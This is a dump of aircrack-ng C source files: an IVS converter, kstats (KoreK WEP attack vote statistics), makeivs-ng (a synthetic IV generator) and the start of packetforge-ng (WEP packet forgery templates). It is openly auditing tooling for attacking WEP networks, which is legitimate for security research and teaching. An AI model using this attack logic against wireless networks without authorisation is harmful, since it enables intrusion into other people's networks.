perror("fwrite(IV bssid) failed");
return (EXIT_FAILURE);
}
ivs2.len -= 6;
}
if (fwrite(&(st_cur->wpa),
1,
sizeof(struct WPA_hdsk),
G.f_ivs)
!= (size_t) sizeof(struct WPA_hdsk))
{
perror("fwrite(IV wpa_hdsk) failed");
return (EXIT_FAILURE);
}
return (WPA);
}
}
}
}
}
return (0);
}
int main(int argc, char * argv[])
{
time_t tt;
int n, ret;
FILE * f_in;
unsigned long nbr;
unsigned long nbivs;
unsigned char * h80211;
unsigned char bssid_cur[6];
unsigned char bssid_prv[6];
unsigned char buffer[65536];
struct pcap_file_header pfh;
struct pcap_pkthdr pkh;
struct ivs2_filehdr fivs2;
if (argc < 4)
{
usage(EXIT_SUCCESS);
return (EXIT_FAILURE);
}
if (strcmp(argv[1], "--merge") == 0)
{
return (merge(argc, argv));
}
if (strcmp(argv[1], "--convert") != 0)
{
usage(EXIT_FAILURE);
return (EXIT_FAILURE);
}
// Check filenames are not empty
if (argv[2][0] == 0)
{
printf("Invalid pcap file\n");
return (EXIT_FAILURE);
}
if (argv[3][0] == 0)
{
printf("Invalid output file\n");
return (EXIT_FAILURE);
}
memset(bssid_cur, 0, sizeof(bssid_cur)); //-V597
memset(bssid_prv, 0, sizeof(bssid_prv)); //-V597
/* check the input pcap file */
printf("Opening %s\n", argv[2]);
if ((f_in = fopen(argv[2], "rb")) == NULL)
{
perror("fopen failed");
return (EXIT_FAILURE);
}
n = sizeof(pfh);
if (fread(&pfh, 1, n, f_in) != (size_t) n)
{
perror("fread(pcap file header) failed");
fclose(f_in);
return (EXIT_FAILURE);
}
if (pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM)
{
printf("\"%s\" isn't a pcap file (expected "
"TCPDUMP_MAGIC).\n",
argv[2]);
fclose(f_in);
return (EXIT_FAILURE);
}
if (pfh.magic == TCPDUMP_CIGAM) SWAP32(pfh.linktype);
if (pfh.linktype != LINKTYPE_IEEE802_11
&& pfh.linktype != LINKTYPE_PRISM_HEADER
&& pfh.linktype != LINKTYPE_RADIOTAP_HDR
&& pfh.linktype != LINKTYPE_PPI_HDR)
{
printf("\"%s\" isn't a regular 802.11 "
"(wireless) capture.\n",
argv[2]);
fclose(f_in);
return (EXIT_FAILURE);
}
/* create the output ivs file */
printf("Creating %s\n", argv[3]);
if ((G.f_ivs = fopen(argv[3], "wb+")) == NULL)
{
perror("fopen failed");
fclose(f_in);
return (EXIT_FAILURE);
}
fivs2.version = IVS2_VERSION;
(void) fwrite(IVS2_MAGIC, 4, 1, G.f_ivs);
(void) fwrite(&fivs2, sizeof(struct ivs2_filehdr), 1, G.f_ivs);
nbr = 0;
tt = time(NULL) - 1;
nbivs = 0;
while (1)
{
if (time(NULL) - tt > 0)
{
erase_line(0);
printf("Read %lu packets...\r", nbr);
fflush(stdout);
tt = time(NULL);
}
/* read one packet */
n = sizeof(pkh);
if (fread(&pkh, 1, n, f_in) != (size_t) n) break;
if (pfh.magic == TCPDUMP_CIGAM)
{
SWAP32(pkh.caplen);
SWAP32(pkh.len);
}
n = pkh.caplen;
if (n <= 0 || n > 65535)
{
printf("Corrupted file? Invalid packet length: %d.\n", n);
return (EXIT_FAILURE);
}
if (fread(buffer, 1, n, f_in) != (size_t) n) break;
++nbr;
h80211 = buffer;
/* remove any prism/radiotap header */
if (pfh.linktype == LINKTYPE_PRISM_HEADER)
{
if (h80211[7] == 0x40)
n = 64;
else
{
n = *(int *) (h80211 + 4);
if (pfh.magic == TCPDUMP_CIGAM) SWAP32(n);
}
if (n < 8 || n >= (int) pkh.caplen) continue;
h80211 += n;
pkh.caplen -= n;
}
if (pfh.linktype == LINKTYPE_RADIOTAP_HDR)
{
n = *(unsigned short *) (h80211 + 2);
if (n <= 0 || n >= (int) pkh.caplen) continue;
h80211 += n;
pkh.caplen -= n;
}
if (pfh.linktype == LINKTYPE_PPI_HDR)
{
/* Remove the PPI header */
n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
if (n <= 0 || n >= (int) pkh.caplen) continue;
/* for a while Kismet logged broken PPI headers */
if (n == 24 && le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
n = 32;
if (n >= (int) pkh.caplen) continue;
h80211 += n;
pkh.caplen -= n;
}
ret = dump_add_packet(h80211, pkh.caplen);
if (ret == IVS) ++nbivs;
}
fclose(f_in);
fclose(G.f_ivs);
erase_line(2);
printf("Read %lu packets.\n", nbr);
if (nbivs > 0)
printf("Written %lu IVs.\n", nbivs);
else
{
remove(argv[3]);
puts("No IVs written");
}
return (EXIT_SUCCESS);
} |
C | aircrack-ng/src/kstats/kstats.c | /*
* Kstat: displays the votes of the korek attack for each keybyte
*
* Copyright (C) 2006-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
* Copyright (C) 2004, 2005 Christophe Devine
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include "aircrack-ng/defs.h"
#include "aircrack-ng/aircrack-ng.h"
#include "aircrack-ng/support/common.h"
#define IVBUF_SIZE (5UL * 0xFFFFFF)
static const int K_COEFF[N_ATTACKS]
= {15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, -20};
static void calc_votes(unsigned char * ivbuf,
long nb_ivs,
unsigned char * key,
int B,
int votes[N_ATTACKS][256])
{
REQUIRE(ivbuf != NULL);
REQUIRE(nb_ivs >= 0);
REQUIRE(key != NULL);
int i, j;
long xv;
unsigned char R[256], jj[256] = {0};
unsigned char S[256], Si[256];
unsigned char K[64];
unsigned char io1, o1, io2, o2;
unsigned char Sq, dq, Kq, jq, q;
unsigned char S1, S2, J2, t2;
for (i = 0; i < 256; i++) R[i] = i;
q = 3 + B;
memcpy(K + 3, key, B);
memset(votes, 0, sizeof(int) * N_ATTACKS * 256);
for (xv = 0; xv < nb_ivs; xv += 5)
{
memcpy(K, &ivbuf[xv], 3); //-V512
memcpy(S, R, 256);
memcpy(Si, R, 256);
for (i = j = 0; i < q; i++)
{
jj[i] = j = (j + S[i] + K[i & 15]) & 0xFF;
SWAP(S[i], S[j]);
}
i = q;
do
{
i--;
SWAP(Si[i], Si[jj[i]]);
} while (i != 0);
o1 = ivbuf[xv + 3] ^ 0xAA;
io1 = Si[o1];
S1 = S[1];
o2 = ivbuf[xv + 4] ^ 0xAA;
io2 = Si[o2];
S2 = S[2];
Sq = S[q];
dq = Sq + jj[q - 1];
if (S2 == 0)
{
if ((S1 == 2) && (o1 == 2))
{
Kq = 1 - dq;
votes[A_neg][Kq]++;
Kq = 2 - dq;
votes[A_neg][Kq]++;
}
else if (o2 == 0)
{
Kq = 2 - dq;
votes[A_neg][Kq]++;
}
}
else
{
if ((o2 == 0) && (Sq == 0))
{
Kq = 2 - dq;
votes[A_u15][Kq]++;
}
}
if ((S1 == 1) && (o1 == S2))
{
Kq = 1 - dq;
votes[A_neg][Kq]++;
Kq = 2 - dq;
votes[A_neg][Kq]++;
}
if ((S1 == 0) && (S[0] == 1) && (o1 == 1))
{
Kq = 0 - dq;
votes[A_neg][Kq]++;
Kq = 1 - dq;
votes[A_neg][Kq]++;
}
if (S1 == q)
{
if (o1 == q)
{
Kq = Si[0] - dq;
votes[A_s13][Kq]++;
}
else if (((1 - q - o1) & 0xFF) == 0)
{
Kq = io1 - dq;
votes[A_u13_1][Kq]++;
}
else if (io1 < q)
{
jq = Si[(io1 - q) & 0xFF];
if (jq != 1)
{
Kq = jq - dq;
votes[A_u5_1][Kq]++;
}
}
}
if ((io1 == 2) && (S[q] == 1))
{
Kq = 1 - dq;
votes[A_u5_2][Kq]++;
}
if (S[q] == q)
{
if ((S1 == 0) && (o1 == q))
{
Kq = 1 - dq;
votes[A_u13_2][Kq]++;
}
else if ((((1 - q - S1) & 0xFF) == 0) && (o1 == S1))
{
Kq = 1 - dq;
votes[A_u13_3][Kq]++;
}
else if ((S1 >= ((-q) & 0xFF)) && (((q + S1 - io1) & 0xFF) == 0))
{
Kq = 1 - dq;
votes[A_u5_3][Kq]++;
}
}
if ((S1 < q) && (((S1 + S[S1] - q) & 0xFF) == 0) && (io1 != 1)
&& (io1 != S[S1]))
{
Kq = io1 - dq;
votes[A_s5_1][Kq]++;
}
if ((S1 > q) && (((S2 + S1 - q) & 0xFF) == 0))
{
if (o2 == S1)
{
jq = Si[(S1 - S2) & 0xFF];
if ((jq != 1) && (jq != 2))
{
Kq = jq - dq;
votes[A_s5_2][Kq]++;
}
}
else if (o2 == ((2 - S2) & 0xFF))
{
jq = io2;
if ((jq != 1) && (jq != 2))
{
Kq = jq - dq;
votes[A_s5_3][Kq]++;
}
}
}
if ((S[1] != 2) && (S[2] != 0))
{
J2 = S[1] + S[2];
if (J2 < q)
{
t2 = S[J2] + S[2];
if ((t2 == q) && (io2 != 1) && (io2 != 2) && (io2 != J2))
{
Kq = io2 - dq;
votes[A_s3][Kq]++;
}
}
}
if (S1 == 2)
{
if (q == 4)
{
if (o2 == 0)
{
Kq = Si[0] - dq;
votes[A_4_s13][Kq]++;
}
else
{
if ((jj[1] == 2) && (io2 == 0))
{
Kq = Si[254] - dq;
votes[A_4_u5_1][Kq]++;
}
if ((jj[1] == 2) && (io2 == 2))
{
Kq = Si[255] - dq;
votes[A_4_u5_2][Kq]++;
}
}
}
else if ((q > 4) && ((S[4] + 2) == q) && (io2 != 1) && (io2 != 4))
{
Kq = io2 - dq;
votes[A_u5_4][Kq]++;
}
}
}
}
int main(int argc, char * argv[])
{
FILE * f;
long nb_ivs;
int i, n, B, *vi;
unsigned int un;
int votes[N_ATTACKS][256];
unsigned char *ivbuf, *s;
unsigned char buffer[4096];
unsigned char wepkey[16];
vote poll[64][256];
if (argc != 3)
{
printf("usage: kstats <ivs file> <104-bit key>\n");
return (EXIT_FAILURE);
}
i = 0;
s = (unsigned char *) argv[2];
buffer[0] = s[0];
buffer[1] = s[1];
buffer[2] = '\0';
while (sscanf((char *) buffer, "%x", &un) == 1)
{
if (un > 255)
{
fprintf(stderr, "Invalid wep key.\n");
return (EXIT_FAILURE);
}
wepkey[i++] = (uint8_t) un;
if (i >= 16) break;
s += 2;
if (s[0] == ':' || s[0] == '-') s++;
if (s[0] == '\0' || s[1] == '\0') break;
buffer[0] = s[0];
buffer[1] = s[1];
}
if (i != 13)
{
fprintf(stderr, "Invalid wep key.\n");
return (EXIT_FAILURE);
}
if ((ivbuf = (unsigned char *) malloc(IVBUF_SIZE)) == NULL)
{
perror("malloc");
return (EXIT_FAILURE);
}
memset(ivbuf, 0, IVBUF_SIZE);
if ((f = fopen(argv[1], "rb")) == NULL)
{
free(ivbuf);
perror("fopen");
return (EXIT_FAILURE);
}
if (fread(buffer, 1, 4, f) != 4)
{
free(ivbuf);
fclose(f);
perror("fread header");
return (EXIT_FAILURE);
}
if (memcmp(buffer, "\xBF\xCA\x84\xD4", 4) != 0)
{
free(ivbuf);
fclose(f);
fprintf(stderr, "Not an .IVS file\n");
return (EXIT_FAILURE);
}
nb_ivs = 0;
while (1)
{
if (fread(buffer, 1, 1, f) != 1) break;
if (buffer[0] != 0xFF)
if (fread(buffer + 1, 1, 5, f) != 5) break;
if (fread(buffer, 1, 5, f) != 5) break;
memcpy(ivbuf + nb_ivs * 5, buffer, 5); //-V512
nb_ivs++;
}
for (B = 0; B < 13; B++)
{
for (i = 0; i < 256; i++)
{
poll[B][i].idx = i;
poll[B][i].val = 0;
}
calc_votes(ivbuf, nb_ivs, wepkey, B, votes);
for (n = 0, vi = (int *) votes; n < N_ATTACKS; n++)
for (i = 0; i < 256; i++, vi++) poll[B][i].val += *vi * K_COEFF[n];
qsort(poll[B], 256, sizeof(vote), cmp_votes);
printf("KB %02d VALID %02X", B, wepkey[B]);
for (i = 0; i < 256; i++)
if (poll[B][i].idx == wepkey[B]) printf("(%4d) ", poll[B][i].val);
for (i = 0; i < N_ATTACKS; i++) printf("%3d ", votes[i][wepkey[B]]);
printf("\n");
printf("KB %02d FIRST %02X(%4d) ", B, poll[B][0].idx, poll[B][0].val);
for (i = 0; i < N_ATTACKS; i++)
printf("%3d ", votes[i][poll[B][0].idx]);
printf("\n");
printf("KB %02d SECOND %02X(%4d) ", B, poll[B][1].idx, poll[B][1].val);
for (i = 0; i < N_ATTACKS; i++)
printf("%3d ", votes[i][poll[B][1].idx]);
printf("\n");
printf("KB %02d THIRD %02X(%4d) ", B, poll[B][2].idx, poll[B][2].val);
for (i = 0; i < N_ATTACKS; i++)
printf("%3d ", votes[i][poll[B][2].idx]);
printf("\n\n");
}
free(ivbuf);
fclose(f);
return (EXIT_SUCCESS);
} |
C | aircrack-ng/src/makeivs-ng/makeivs-ng.c | /*
* Server for osdep network driver. Uses osdep itself! [ph33r the recursion]
*
* Copyright (C) 2006-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
* Copyright (C) 2004, 2005 Christophe Devine
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <getopt.h>
#include <time.h>
#include <float.h>
#include "aircrack-ng/defs.h"
#include "aircrack-ng/version.h"
#include "aircrack-ng/support/pcap_local.h"
#include "aircrack-ng/ce-wep/uniqueiv.h"
#include "aircrack-ng/support/common.h"
#define NULL_MAC "\x00\x00\x00\x00\x00\x00"
static const char usage[] =
"\n"
" %s - (C) 2006-2022 Thomas d\'Otreppe\n"
" https://www.aircrack-ng.org\n"
"\n"
" usage: makeivs-ng [options]\n"
"\n"
" Common options:\n"
" -b <bssid> : Set access point MAC address\n"
" -f <num> : Number of first IV\n"
" -k <key> : Target network WEP key in hex\n"
" -s <num> : Seed used to setup random generator\n"
" -w <file> : Filename to write IVs into\n"
" -c <num> : Number of IVs to generate\n"
" -d <num> : Percentage of dupe IVs\n"
" -e <num> : Percentage of erroneous keystreams\n"
" -l <num> : Length of keystreams\n"
" -n : Ignores weak IVs\n"
" -p : Uses prng algorithm to generate IVs\n"
"\n"
" --help : Displays this usage screen\n"
"\n";
int main(int argc, char * argv[])
{
int i, j, k, pre_n, n, count = 100000, length = 16;
unsigned int un;
int paramUsed = 0, keylen = 0, zero = 0, startiv = 0, iv = 0;
FILE * f_ivs_out;
unsigned char K[32];
unsigned char S[256];
char *s, *filename = NULL;
struct ivs2_pkthdr ivs2;
struct ivs2_filehdr fivs2;
unsigned long long size;
int option_index, option, crypt = 0;
char buf[2048];
int weplen = 0, nofms = 0, prng = 0;
float errorrate = 0, dupe = 0;
unsigned char bssid[6];
int seed = time(NULL), z;
int maxivs = 0x1000000;
unsigned char byte;
unsigned char ** uiv_root;
static const struct option long_options[] = {{"key", 1, 0, 'k'},
{"write", 1, 0, 'w'},
{"count", 1, 0, 'c'},
{"seed", 1, 0, 's'},
{"length", 1, 0, 'l'},
{"first", 1, 0, 'f'},
{"bssid", 1, 0, 'b'},
{"dupe", 1, 0, 'd'},
{"error", 1, 0, 'e'},
{"nofms", 0, 0, 'n'},
{"prng", 0, 0, 'p'},
{"help", 0, 0, 'H'},
{0, 0, 0, 0}};
i = 0;
memset(K, 0, 32);
memset(bssid, 0, 6);
uiv_root = uniqueiv_init();
/* check the arguments */
do
{
option_index = 0;
option = getopt_long(
argc, argv, "k:w:c:s:l:f:b:d:e:npHh", long_options, &option_index);
if (option < 0) break;
switch (option)
{
case 0:
break;
case 'n':
paramUsed = 1;
nofms = 1;
break;
case 'p':
paramUsed = 1;
prng = 1;
break;
case 'l':
paramUsed = 1;
if (atoi(optarg) < 2 || atoi(optarg) > 2300)
{
printf(usage,
getVersion("makeivs-ng",
_MAJ,
_MIN,
_SUB_MIN,
_REVISION,
_BETA,
_RC));
printf("Specified keystream length is invalid. [2-2300]");
return (EXIT_FAILURE);
}
length = atoi(optarg);
break;
case 'c':
paramUsed = 1;
if (atoi(optarg) < 1 || atoi(optarg) > 0x1000000)
{
printf(usage,
getVersion("makeivs-ng",
_MAJ,
_MIN,
_SUB_MIN,
_REVISION,
_BETA,
_RC));
printf("Specified number of IVs is invalid. [1-16777216]");
return (EXIT_FAILURE);
}
count = atoi(optarg);
break;
case 's':
paramUsed = 1;
if (atoi(optarg) < 1)
{
printf("Specified seed is invalid. [>=1]");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
seed = atoi(optarg);
break;
case 'e':
paramUsed = 1;
sscanf(optarg, "%f", &errorrate);
#if defined(__x86_64__) && defined(__CYGWIN__)
if (errorrate < 0.0f || errorrate > (0.0f + 100))
{
#else
if (errorrate < 0.0f || errorrate > 100.0f)
{
#endif
printf(usage,
getVersion("makeivs-ng",
_MAJ,
_MIN,
_SUB_MIN,
_REVISION,
_BETA,
_RC));
printf("Specified errorrate is invalid. [0-100]");
return (EXIT_FAILURE);
}
break;
case 'd':
paramUsed = 1;
if (sscanf(optarg, "%f", &dupe) != 1 || dupe < 0.0f
|| dupe >
#if defined(__x86_64__) && defined(__CYGWIN__)
(0.0f + 100))
{
#else
100.0f)
{
#endif
printf(usage,
getVersion("makeivs-ng",
_MAJ,
_MIN,
_SUB_MIN,
_REVISION,
_BETA,
_RC));
printf("Specified dupe is invalid. [0-100]");
return (EXIT_FAILURE);
}
break;
case 'f':
if (atoi(optarg) < 0 || atoi(optarg) > 0xFFFFFF)
{
printf(usage,
getVersion("makeivs-ng",
_MAJ,
_MIN,
_SUB_MIN,
_REVISION,
_BETA,
_RC));
printf("Specified start IV is invalid. [0-16777215]");
return (EXIT_FAILURE);
}
paramUsed = 1;
startiv = atoi(optarg);
break;
case 'w':
paramUsed = 1;
filename = strdup(optarg);
break;
case 'b':
paramUsed = 1;
if (memcmp(bssid, NULL_MAC, 6) != 0)
{
printf("Notice: bssid already given\n");
break;
}
if (getmac(optarg, 1, bssid) != 0)
{
printf(usage,
getVersion("makeivs-ng",
_MAJ,
_MIN,
_SUB_MIN,
_REVISION,
_BETA,
_RC));
printf("Notice: invalid bssid\n");
return (EXIT_FAILURE);
}
break;
case 'k':
paramUsed = 1;
if (crypt != 0)
{
printf(usage,
getVersion("makeivs-ng",
_MAJ,
_MIN,
_SUB_MIN,
_REVISION,
_BETA,
_RC));
printf("Encryption key already specified.\n");
return (EXIT_FAILURE);
}
crypt = 1;
i = 0;
s = optarg;
buf[0] = s[0];
buf[1] = s[1];
buf[2] = '\0';
while (sscanf(buf, "%x", &un) == 1)
{
if (un > 255)
{
printf(usage,
getVersion("makeivs-ng",
_MAJ,
_MIN,
_SUB_MIN,
_REVISION,
_BETA,
_RC));
printf("Invalid WEP key.\n");
return (EXIT_FAILURE);
}
if (3 + i >= 32) break;
K[3 + i++] = (uint8_t) un;
s += 2;
if (s[0] == ':' || s[0] == '-') s++;
if (s[0] == '\0' || s[1] == '\0') break;
buf[0] = s[0];
buf[1] = s[1];
}
if (i != 5 && i != 13 && i != 29)
{
printf(usage,
getVersion("makeivs-ng",
_MAJ,
_MIN,
_SUB_MIN,
_REVISION,
_BETA,
_RC));
printf("Invalid WEP key length. [5,13,29]\n");
return (EXIT_FAILURE);
}
weplen = i;
keylen = i + 3;
break;
default:
goto usage;
}
} while (1);
if (nofms) maxivs -= 256 * weplen;
rand_init_with(seed);
if (paramUsed == 0)
{
usage:
printf(usage,
getVersion(
"makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
return (EXIT_SUCCESS);
}
if (count > maxivs)
{
printf(usage,
getVersion(
"makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
printf("Specified too many IVs (%d), but there are only %d possible.\n",
count,
maxivs);
return (EXIT_FAILURE);
}
if (length == 0) length = 16; // default 16 keystreambytes
if (crypt < 1)
{
printf(usage,
getVersion(
"makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
printf("You need to specify the WEP key (-k).\n");
return (EXIT_FAILURE);
}
if (filename == NULL)
{
printf(usage,
getVersion(
"makeivs-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
printf("You need to specify the output filename (-w).\n");
return (EXIT_FAILURE);
}
size = (unsigned long long) strlen(IVS2_MAGIC)
+ (unsigned long long) sizeof(struct ivs2_filehdr)
+ (unsigned long long) count
* (unsigned long long) sizeof(struct ivs2_pkthdr)
+ (unsigned long long) count * (length + 4ULL);
printf("Creating %d IVs with %d bytes of keystream each.\n", count, length);
printf("Estimated filesize: ");
if (size > 1024 * 1024 * 1024) // over 1 GB
printf("%.2f GB\n", ((double) size / (1024.0 * 1024.0 * 1024.0)));
else if (size > 1024 * 1024) // over 1 MB
printf("%.2f MB\n", ((double) size / (1024.0 * 1024.0)));
else if (size > 1024) // over 1 KB
printf("%.2f KB\n", ((double) size / 1024.0));
else // under 1 KB
printf("%.2f Byte\n", (double) size);
ALLEGE(filename != NULL);
if ((f_ivs_out = fopen(filename, "wb+")) == NULL)
{
perror("fopen");
free(filename);
return (EXIT_FAILURE);
}
if (fwrite(IVS2_MAGIC, 1, 4, f_ivs_out) != (size_t) 4)
{
perror("fwrite(IVs file MAGIC) failed");
free(filename);
return (EXIT_FAILURE);
}
memset(&fivs2, '\x00', sizeof(struct ivs2_filehdr));
fivs2.version = IVS2_VERSION;
/* write file header */
if (fwrite(&fivs2, sizeof(struct ivs2_filehdr), 1, f_ivs_out) != (size_t) 1)
{
perror("fwrite(IV file header) failed");
free(filename);
return (EXIT_FAILURE);
}
memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
ivs2.flags |= IVS2_BSSID;
ivs2.len += 6;
/* write header */
if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs_out)
!= (size_t) sizeof(struct ivs2_pkthdr))
{
perror("fwrite(IV header) failed");
free(filename);
return (EXIT_FAILURE);
}
if (memcmp(NULL_MAC, bssid, 6) == 0)
{
memcpy(bssid, "\x01\x02\x03\x04\x05\x06", 6);
}
/* write BSSID */
if (fwrite(bssid, 1, 6, f_ivs_out) != (size_t) 6)
{
perror("fwrite(IV bssid) failed");
free(filename);
return (EXIT_FAILURE);
}
printf("Using fake BSSID %02X:%02X:%02X:%02X:%02X:%02X\n",
bssid[0],
bssid[1],
bssid[2],
bssid[3],
bssid[4],
bssid[5]);
z = 0;
pre_n = 0;
for (n = 0; n < count; n++)
{
if ((dupe <= FLT_EPSILON) || (pre_n == n)
|| (rand_f32() > (dupe /
#if defined(__x86_64__) && defined(__CYGWIN__)
(0.0f + 100.0f))))
#else
100.0f)))
#endif
{
if (prng)
{
iv = rand_u32() & 0xFFFFFF;
}
else
{
iv = (z + startiv) & 0xFFFFFF;
z++;
}
if (nofms)
{
if ((iv & 0xff00) == 0xff00)
{
byte = (iv >> 16) & 0xff;
if (byte >= 3 && byte < keylen)
{
if (!prng && (iv & 0xFF) == 0) z += 0xff;
n--;
continue;
}
}
}
if (uniqueiv_check(uiv_root, (unsigned char *) &iv) != 0)
{
n--;
continue;
}
uniqueiv_mark(uiv_root, (unsigned char *) &iv);
}
pre_n = n;
K[2] = (iv >> 16) & 0xFF;
K[1] = (iv >> 8) & 0xFF;
K[0] = (iv) &0xFF;
for (i = 0; i < 256; i++) S[i] = i;
for (i = j = 0; i < 256; i++)
{
j = (j + S[i] + K[i % keylen]) & 0xFF;
SWAP(S[i], S[j]);
}
if (errorrate > 0 && (rand_f32() <= (float) (errorrate / 100.0f)))
{
SWAP(S[1], S[11]);
}
memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
ivs2.flags = 0;
ivs2.len = 0;
ivs2.flags |= IVS2_XOR;
ivs2.len += length + 4;
if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs_out)
!= (size_t) sizeof(struct ivs2_pkthdr))
{
perror("fwrite(IV header) failed");
free(filename);
return (EXIT_FAILURE);
}
if (fwrite(K, 1, 3, f_ivs_out) != (size_t) 3)
{
perror("fwrite(IV iv) failed");
free(filename);
return (EXIT_FAILURE);
}
if (fwrite(&zero, 1, 1, f_ivs_out) != (size_t) 1)
{
perror("fwrite(IV idx) failed");
free(filename);
return (EXIT_FAILURE);
}
ivs2.len -= 4;
i = j = 0;
for (k = 0; k < length; k++)
{
i = (i + 1) & 0xFF;
j = (j + S[i]) & 0xFF;
SWAP(S[i], S[j]);
fprintf(f_ivs_out, "%c", S[(S[i] + S[j]) & 0xFF]);
}
if ((n % 10000) == 0)
printf("%2.1f%%\r", ((float) n / (float) count) * 100.0f);
fflush(stdout);
}
free(filename);
fclose(f_ivs_out);
printf("Done.\n");
return (EXIT_SUCCESS);
} |
C | aircrack-ng/src/packetforge-ng/packetforge-ng.c | /*
* 802.11 ARP-request WEP packet forgery
* UDP, ICMP and custom packet forging developed by Martin Beck
*
* Copyright (C) 2006-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
* Copyright (C) 2004, 2005 Christophe Devine (arpforge)
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <sys/types.h>
#include <getopt.h>
#include "aircrack-ng/defs.h"
#include "aircrack-ng/version.h"
#include "aircrack-ng/support/pcap_local.h"
#include "aircrack-ng/support/communications.h"
#include "aircrack-ng/crypto/crypto.h"
#include "aircrack-ng/third-party/ethernet.h"
#include "aircrack-ng/support/common.h"
#define ARP_REQ \
"\x08\x00\x02\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xFF\xFF\xFF\xFF\xFF\xFF\x80\x01\xAA\xAA\x03\x00" \
"\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\xCC\xCC\xCC\xCC" \
"\xCC\xCC\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x22\x22\x22\x22" \
"\x00\x00\x00\x00\x00\x00\x00\x00"
#define UDP_PACKET \
"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \
"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00" \
"\x45\x00\x00\x1D\x00\x00\x40\x00\x40\x11\x00\x00\xC3\xBE\x8E\x74" \
"\xC1\x16\x02\x01\x83\x86\x86\x29\x00\x00\x00\x00\x05"
#define ICMP_PACKET \
"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \
"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00" \
"\x45\x00\x00\x1C\x00\x00\x40\x00\x40\x01\x00\x00\xC3\xBE\x8E\x74" \
"\xC1\x16\x02\x01\x08\x00\x83\xDC\x74\x22\x00\x01"
#define NULL_PACKET \
"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \
"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32"
static const char usage[]
= "\n"
" %s - (C) 2006-2022 Thomas d\'Otreppe\n"
" Original work: Martin Beck\n"
" https://www.aircrack-ng.org\n"
"\n"
" Usage: packetforge-ng <mode> <options>\n"
"\n"
" Forge options:\n"
"\n"
" -p <fctrl> : set frame control word (hex)\n"
" -a <bssid> : set Access Point MAC address\n"
" -c <dmac> : set Destination MAC address\n"
" -h <smac> : set Source MAC address\n"
" -j : set FromDS bit\n"
" -o : clear ToDS bit\n"
" -e : disables WEP encryption\n"
" -k <ip[:port]> : set Destination IP [Port]\n"
" -l <ip[:port]> : set Source IP [Port]\n"
" -t ttl : set Time To Live\n"
" -w <file> : write packet to this pcap file\n"
" -s <size> : specify size of null packet\n"
" -n <packets> : set number of packets to generate\n"
"\n"
" Source options:\n"
"\n"
